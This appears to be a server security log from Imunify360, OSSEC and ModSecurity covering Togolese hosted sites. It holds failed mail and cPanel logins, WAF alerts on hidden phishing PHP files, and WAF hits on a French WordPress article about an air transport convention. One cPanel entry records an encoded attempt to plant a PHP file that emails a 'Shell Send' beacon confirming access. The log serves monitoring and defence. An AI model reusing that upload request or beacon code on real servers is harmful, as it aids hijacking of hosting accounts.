IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique-768x876.webp 768w, http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique-263x300.webp 263w, http:/togodailynews.tg/wp-content/uploads/2026/06/Transport-aerien-africain-les-orientations-du-President-Faure-Gnassingbe-pour-une-integration-du-continent-par-un-ciel-unique.webp 800w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77350309
name: IM360 WAF: Hidden file access
abuser: 5.231.255.50
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Hidden file access||RSV:8.17||T:APACHE||QS:to=barbara.dougherty@premierpropertymgmt.com||


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.747274271478689.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>lom\xc3\xa9 s'impose une fois de plus comme la capitale de l'int\xc3\xa9gration africaine. le lundi 15 juin dernier, la capitale togolaise a donn\xc3\xa9 le coup d'envoi de la premi\xc3\xa8re convention et exposition africaines du transport a\xc3\xa9rien.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pr\xc3\xa9sid\xc3\xa9e par le pr\xc3\xa9sident du conseil de la r\xc3\xa9publique togolaise, faure essozimna gnassingb\xc3\xa9, en sa qualit\xc3\xa9 de champion du march\xc3\xa9 unique du transport a\xc3\xa9rien africain (mutaa), cette rencontre de haut niveau r\xc3\xa9unit, jusqu\xe2\x80\x99au 19 juin prochain, un parterre de dirigeants exceptionnels, dont le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9, l'ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo, ainsi que les patrons de l'iata, de l'oaci et d'aci afrique.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l\xe2\x80\x99initiative vise \xc3\xa0 transformer le ciel africain en un espace de libert\xc3\xa9, de croissance et de connectivit\xc3\xa9. pour y parvenir, le pr\xc3\xa9sident togolais a partag\xc3\xa9 quatre convictions strat\xc3\xa9giques dont nous livrons la quintessence.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>passer de l\xe2\x80\x99engagement politique \xc3\xa0 la r\xc3\xa9alit\xc3\xa9 op\xc3\xa9rationnelle</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le leader togolais, le temps des simples discours est r\xc3\xa9volu. le mutaa doit entrer dans une phase concr\xc3\xa8te et palpable pour les citoyens et les entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31280,\"width\":\"686px\",\"height\":\"auto\",\"aspectratio\":\"1.4008755472170107\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/3460d34e-ee0c-4a14-a528-eee38a50bba8-1024x731.jpg\" alt=\"\" class=\"wp-image-31280\" style=\"aspect-ratio:1.4008755472170107;width:686px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab le march\xc3\xa9 unique du transport a\xc3\xa9rien africain doit entrer dans une phase plus concr\xc3\xa8te. il faut aligner les accords de services a\xc3\xa9riens, faciliter l\xe2\x80\x99ouverture effective des routes, mieux utiliser les droits de trafic et d\xc3\xa9velopper des corridors prioritaires. \xc2\xbb,</em> a expliqu\xc3\xa9 faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'harmonisation des politiques a\xc3\xa9riennes entre les \xc3\x89tats et le renforcement de la coop\xc3\xa9ration op\xc3\xa9rationnelle sont d\xc3\xa9sormais les priorit\xc3\xa9s absolues pour fluidifier les \xc3\xa9changes intercontinentaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>rendre le transport a\xc3\xa9rien plus accessible et comp\xc3\xa9titif</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le constat est partag\xc3\xa9 par tous : voyager en afrique co\xc3\xbbte encore trop cher et les lourdeurs administratives freinent la mobilit\xc3\xa9 des entrepreneurs, des \xc3\xa9tudiants et des touristes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour b\xc3\xa2tir un \xc3\xa9cosyst\xc3\xa8me robuste, le champion du mutaa pr\xc3\xb4ne une action sur plusieurs leviers, \xc3\xa0 savoir&nbsp;: la modernisation des infrastructures a\xc3\xa9roportuaires, la transparence accrue dans les taxes et frais appliqu\xc3\xa9s aux billets d'avion, la digitalisation des syst\xc3\xa8mes et simplification des proc\xc3\xa9dures de voyage, et le renforcement des comp\xc3\xa9tences techniques et de la maintenance locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>faire de l\xe2\x80\x99aviation un moteur de la transformation \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'aviation ne doit plus \xc3\xaatre per\xc3\xa7ue uniquement sous le prisme du transport de passagers. elle est une infrastructure \xc3\xa9conomique majeure, particuli\xc3\xa8rement \xc3\xa0 l'\xc3\xa8re de la zone de libre-\xc3\xa9change continentale africaine (zlecaf).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31281,\"width\":\"675px\",\"height\":\"auto\",\"aspectratio\":\"1.3438656134386562\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/06de7101-2b5e-44af-83e8-5c172b3cbb26-1024x762.jpg\" alt=\"\" class=\"wp-image-31281\" style=\"aspect-ratio:1.3438656134386562;width:675px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident du conseil a insist\xc3\xa9 sur le r\xc3\xb4le crucial du fret a\xc3\xa9rien pour soutenir des secteurs strat\xc3\xa9giques comme l\xe2\x80\x99agriculture et l\xe2\x80\x99agroindustrie, le commerce num\xc3\xa9rique (e-commerce), et les exportations \xc3\xa0 forte valeur ajout\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette connectivit\xc3\xa9 a\xc3\xa9rienne doit \xc3\xaatre intelligemment articul\xc3\xa9e avec les r\xc3\xa9seaux routiers, ferroviaires et maritimes pour maximiser la comp\xc3\xa9titivit\xc3\xa9 du continent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>construire une industrie a\xc3\xa9ronautique africaine durable</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la souverainet\xc3\xa9 de l'afrique passe aussi par la ma\xc3\xaetrise de son ciel et de ses technologies. faure gnassingb\xc3\xa9 a invit\xc3\xa9 les \xc3\x89tats \xc3\xa0 consid\xc3\xa9rer l\xe2\x80\x99aviation civile comme une v\xc3\xa9ritable fili\xc3\xa8re productive capable de g\xc3\xa9n\xc3\xa9rer des emplois qualifi\xc3\xa9s pour la jeunesse africaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de plus, face aux d\xc3\xa9fis climatiques actuels, cette transition devra imp\xc3\xa9rativement int\xc3\xa9grer les exigences environnementales et les crit\xc3\xa8res de durabilit\xc3\xa9 pour s'inscrire dans l'avenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un leadership salu\xc3\xa9 par l'union africaine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la vision du leader togolais fait l'unanimit\xc3\xa9 aupr\xc3\xa8s de ses pairs. le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9 a chaleureusement salu\xc3\xa9 cet engagement en rappelant qu'\xc2\xab <em>aucun pays ne peut r\xc3\xa9ussir seul ni prosp\xc3\xa9rer dans la fragmentation</em> \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de son c\xc3\xb4t\xc3\xa9, l\xe2\x80\x99ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo a f\xc3\xa9licit\xc3\xa9 le \xc2\xab <em>champion de la politique du ciel ouvert en afrique</em> \xc2\xbb pour les progr\xc3\xa8s r\xc3\xa9glementaires majeurs enregistr\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en reconnaissance de son leadership inspirant, un prix honorifique a \xc3\xa9t\xc3\xa9 remis au chef de l'ex\xc3\xa9cutif togolais, par la commission de l'union africaine et la commission africaine de l'aviation civile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31282,\"width\":\"658px\",\"height\":\"auto\",\"aspectratio\":\"1.2978610400270387\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/f401f844-47ba-4a70-8242-5d8fe594564c-1024x789.jpg\" alt=\"\" class=\"wp-image-31282\" style=\"aspect-ratio:1.2978610400270387;width:658px;height:auto\" /></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons que pendant cinq jours, la convention de lom\xc3\xa9 sera le th\xc3\xa9\xc3\xa2tre de discussions intenses et strat\xc3\xa9giques structur\xc3\xa9es autour de grands axes. au menu des tables rondes minist\xc3\xa9rielles sur l\xe2\x80\x99accessibilit\xc3\xa9 financi\xc3\xa8re des billets et taxes, des forums politiques et dialogues ex\xc3\xa9cutifs sur la facilitation de la mobilit\xc3\xa9 intra-africaine, des ateliers techniques sur l\xe2\x80\x99innovation, la technologie et le capital humain, et des n\xc3\xa9gociations bilat\xc3\xa9rales port\xc3\xa9es sur l\xe2\x80\x99investissement dans les infrastructures et corridors de fret.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.81.53
country_id: 6251999
description:
[2026-06-16 12:44:46 +0000] info [cpaneld] 217.181.81.53 - ljrwwgxg "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Shell+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 217.181.83.237
country_id: 6251999
description:
[2026-06-16 12:44:44 +0000] info [cpaneld] 217.181.83.237 - ljrwwgxg "GET / HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-16 12:44:58 +0000] info [cpaneld] 5.231.64.90 NEW ifxmoxbf:zaTOcdoY_cxXeBYj address=5.231.64.90,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.54
country_id: 2287781
description:
2026-06-16 12:46:01 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.54]:10496: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.184.85.167
country_id: 3469034
description:
Jun 16 12:46:13 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.184.85.167 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:12:47:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250134&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781614019 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.54
country_id: 2287781
description:
2026-06-16 12:46:48 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.54]:10501: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-16 12:48:22 dovecot_plain authenticator failed for H=([10.10.30.98]) [196.170.122.162]:41704: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 12:50:18 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:35336: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 12:50:24 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60002: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 102.64.165.143
country_id: 2363686
domain: macite.tg
description:
IM360 WAF: Possible XSS in arguments||MV:<!-- wp:paragraph -->\n<p><strong><em>lom\xc3\xa9 s'impose une fois de plus comme la capitale de l'int\xc3\xa9gration africaine. le lundi 15 juin dernier, la capitale togolaise a donn\xc3\xa9 le coup d'envoi de la premi\xc3\xa8re convention et exposition africaines du transport a\xc3\xa9rien.</em></strong> <em><strong>pr\xc3\xa9sid\xc3\xa9e par le pr\xc3\xa9sident du conseil de la r\xc3\xa9publique togolaise, faure essozimna gnassingb\xc3\xa9, en sa qualit\xc3\xa9 de champion du march\xc3\xa9 unique du transport a\xc3\xa9rien africain (mutaa), cette rencontre de haut niveau r\xc3\xa9unit, jusqu\xe2\x80\x99au 19 juin prochain, un parterre de dirigeants exceptionnels, dont le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9, l'ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo, ainsi que les patrons de l'iata, de l'oaci et d'aci afrique.</strong></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>l\xe2\x80\x99initiative vise \xc3\xa0 transformer le ciel africain en un espace de libert\xc3\xa9, de croissance et de connectivit\xc3\xa9. pour y parvenir, le pr\xc3\xa9sident togolais a partag\xc3\xa9 quatre convictions strat\xc3\xa9giques dont nous livrons la quintessence.</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>passer de l\xe2\x80\x99engagement politique \xc3\xa0 la r\xc3\xa9alit\xc3\xa9 op\xc3\xa9rationnelle</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour le leader togolais, le temps des simples discours est r\xc3\xa9volu. le mutaa doit entrer dans une phase concr\xc3\xa8te et palpable pour les citoyens et les entreprises.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31280,\"width\":\"686px\",\"height\":\"auto\",\"aspectratio\":\"1.4008755472170107\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/3460d34e-ee0c-4a14-a528-eee38a50bba8-1024x731.jpg\" alt=\"\" class=\"wp-image-31280\" style=\"aspect-ratio:1.4008755472170107;width:686px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><em>\xc2\xab le march\xc3\xa9 unique du transport a\xc3\xa9rien africain doit entrer dans une phase plus concr\xc3\xa8te. il faut aligner les accords de services a\xc3\xa9riens, faciliter l\xe2\x80\x99ouverture effective des routes, mieux utiliser les droits de trafic et d\xc3\xa9velopper des corridors prioritaires. \xc2\xbb,</em> a expliqu\xc3\xa9 faure gnassingb\xc3\xa9.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'harmonisation des politiques a\xc3\xa9riennes entre les \xc3\x89tats et le renforcement de la coop\xc3\xa9ration op\xc3\xa9rationnelle sont d\xc3\xa9sormais les priorit\xc3\xa9s absolues pour fluidifier les \xc3\xa9changes intercontinentaux.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>rendre le transport a\xc3\xa9rien plus accessible et comp\xc3\xa9titif</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>le constat est partag\xc3\xa9 par tous : voyager en afrique co\xc3\xbbte encore trop cher et les lourdeurs administratives freinent la mobilit\xc3\xa9 des entrepreneurs, des \xc3\xa9tudiants et des touristes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>pour b\xc3\xa2tir un \xc3\xa9cosyst\xc3\xa8me robuste, le champion du mutaa pr\xc3\xb4ne une action sur plusieurs leviers, \xc3\xa0 savoir&nbsp;: la modernisation des infrastructures a\xc3\xa9roportuaires, la transparence accrue dans les taxes et frais appliqu\xc3\xa9s aux billets d'avion, la digitalisation des syst\xc3\xa8mes et simplification des proc\xc3\xa9dures de voyage, et le renforcement des comp\xc3\xa9tences techniques et de la maintenance locale.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>faire de l\xe2\x80\x99aviation un moteur de la transformation \xc3\xa9conomique</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>l'aviation ne doit plus \xc3\xaatre per\xc3\xa7ue uniquement sous le prisme du transport de passagers. elle est une infrastructure \xc3\xa9conomique majeure, particuli\xc3\xa8rement \xc3\xa0 l'\xc3\xa8re de la zone de libre-\xc3\xa9change continentale africaine (zlecaf).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31281,\"width\":\"675px\",\"height\":\"auto\",\"aspectratio\":\"1.3438656134386562\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/06de7101-2b5e-44af-83e8-5c172b3cbb26-1024x762.jpg\" alt=\"\" class=\"wp-image-31281\" style=\"aspect-ratio:1.3438656134386562;width:675px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>le pr\xc3\xa9sident du conseil a insist\xc3\xa9 sur le r\xc3\xb4le crucial du fret a\xc3\xa9rien pour soutenir des secteurs strat\xc3\xa9giques comme l\xe2\x80\x99agriculture et l\xe2\x80\x99agroindustrie, le commerce num\xc3\xa9rique (e-commerce), et les exportations \xc3\xa0 forte valeur ajout\xc3\xa9e.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>cette connectivit\xc3\xa9 a\xc3\xa9rienne doit \xc3\xaatre intelligemment articul\xc3\xa9e avec les r\xc3\xa9seaux routiers, ferroviaires et maritimes pour maximiser la comp\xc3\xa9titivit\xc3\xa9 du continent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>construire une industrie a\xc3\xa9ronautique africaine durable</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la souverainet\xc3\xa9 de l'afrique passe aussi par la ma\xc3\xaetrise de son ciel et de ses technologies. faure gnassingb\xc3\xa9 a invit\xc3\xa9 les \xc3\x89tats \xc3\xa0 consid\xc3\xa9rer l\xe2\x80\x99aviation civile comme une v\xc3\xa9ritable fili\xc3\xa8re productive capable de g\xc3\xa9n\xc3\xa9rer des emplois qualifi\xc3\xa9s pour la jeunesse africaine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de plus, face aux d\xc3\xa9fis climatiques actuels, cette transition devra imp\xc3\xa9rativement int\xc3\xa9grer les exigences environnementales et les crit\xc3\xa8res de durabilit\xc3\xa9 pour s'inscrire dans l'avenir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>un leadership salu\xc3\xa9 par l'union africaine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>la vision du leader togolais fait l'unanimit\xc3\xa9 aupr\xc3\xa8s de ses pairs. le pr\xc3\xa9sident rwandais paul kagam\xc3\xa9 a chaleureusement salu\xc3\xa9 cet engagement en rappelant qu'\xc2\xab <em>aucun pays ne peut r\xc3\xa9ussir seul ni prosp\xc3\xa9rer dans la fragmentation</em> \xc2\xbb.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>de son c\xc3\xb4t\xc3\xa9, l\xe2\x80\x99ancien pr\xc3\xa9sident nig\xc3\xa9rian olusegun obasanjo a f\xc3\xa9licit\xc3\xa9 le \xc2\xab <em>champion de la politique du ciel ouvert en afrique</em> \xc2\xbb pour les progr\xc3\xa8s r\xc3\xa9glementaires majeurs enregistr\xc3\xa9s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>en reconnaissance de son leadership inspirant, un prix honorifique a \xc3\xa9t\xc3\xa9 remis au chef de l'ex\xc3\xa9cutif togolais, par la commission de l'union africaine et la commission africaine de l'aviation civile.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"id\":31282,\"width\":\"658px\",\"height\":\"auto\",\"aspectratio\":\"1.2978610400270387\",\"sizeslug\":\"large\",\"linkdestination\":\"none\",\"align\":\"center\"} -->\n<figure class=\"wp-block-image aligncenter size-large is-resized\"><img src=\"https://macite.tg/wp-content/uploads/2026/06/f401f844-47ba-4a70-8242-5d8fe594564c-1024x789.jpg\" alt=\"\" class=\"wp-image-31282\" style=\"aspect-ratio:1.2978610400270387;width:658px;height:auto\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>notons que pendant cinq jours, la convention de lom\xc3\xa9 sera le th\xc3\xa9\xc3\xa2tre de discussions intenses et strat\xc3\xa9giques structur\xc3\xa9es autour de grands axes. au menu des tables rondes minist\xc3\xa9rielles sur l\xe2\x80\x99accessibilit\xc3\xa9 financi\xc3\xa8re des billets et taxes, des forums politiques et dialogues ex\xc3\xa9cutifs sur la facilitation de la mobilit\xc3\xa9 intra-africaine, des ateliers techniques sur l\xe2\x80\x99innovation, la technologie et le capital humain, et des n\xc3\xa9gociations bilat\xc3\xa9rales port\xc3\xa9es sur l\xe2\x80\x99investissement dans les infrastructures et corridors de fret.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>jpb</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a><strong><em>@macite.tg&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</em></strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>e-mail&nbsp;: </em></strong><a href=\"mailto:maciteinfo@gmail.com\"><strong><em>maciteinfo@gmail.com</em></strong></a><strong><em>; </em></strong><a href=\"mailto:bawela1@gmail.com\"><strong><em>bawela1@gmail.com</em></strong></a><strong><em></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>pour vos annonces, publi-reportages, etc., joignez-nous au (00228)91515309/<strong>79872224 </strong><strong></strong></em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong><em>www.macite.tg, l\xe2\x80\x99information, la bonne&nbsp;!</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-16 12:53:57 +0000] info [cpaneld] 185.213.83.245 - AWADI "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user AWADI (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.192.210.110
country_id: 1835841
description:
Jun 16 12:54:19 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.192.210.110 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 12:55:16 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38324: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-06-16 12:54:21 dovecot_login authenticator failed for H=([174.75.211.204]) [119.192.210.110]:60657: 535 Incorrect authentication data (set_id=contact@dany2.mairie.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-16 12:55:24 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:38186: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.156
country_id: 2635167
description:
[2026-06-16 12:55:28 +0000] info [cpaneld] 5.230.133.156 NEW ifxmoxbf:Y4O4VN365xa2IGo2 address=5.230.133.156,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.50
country_id: 3017382
domain: togofarm.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ifxmoxbf/public_html/.090972511336494.php||RSV:8.17||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.99.79.146
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/telechargement-300x166.webp 300w, http:/togodailynews.tg/wp-content/uploads/2026/06/telechargement.webp 302w HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.176
country_id: 1880251
description:
47.128.96.176 - - [16/Jun/2026:12:59:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9673619&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Ffrance%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781614747 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/france/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.176


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 43.129.80.138
country_id: 1819730
description:
2026-06-16 12:59:11 dovecot_plain authenticator failed for H=(xdzhecuypf08din8du) [43.129.80.138]:35057: 535 Incorrect authentication data (set_id=ptitrikou@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.129.80.138
country_id: 1819730
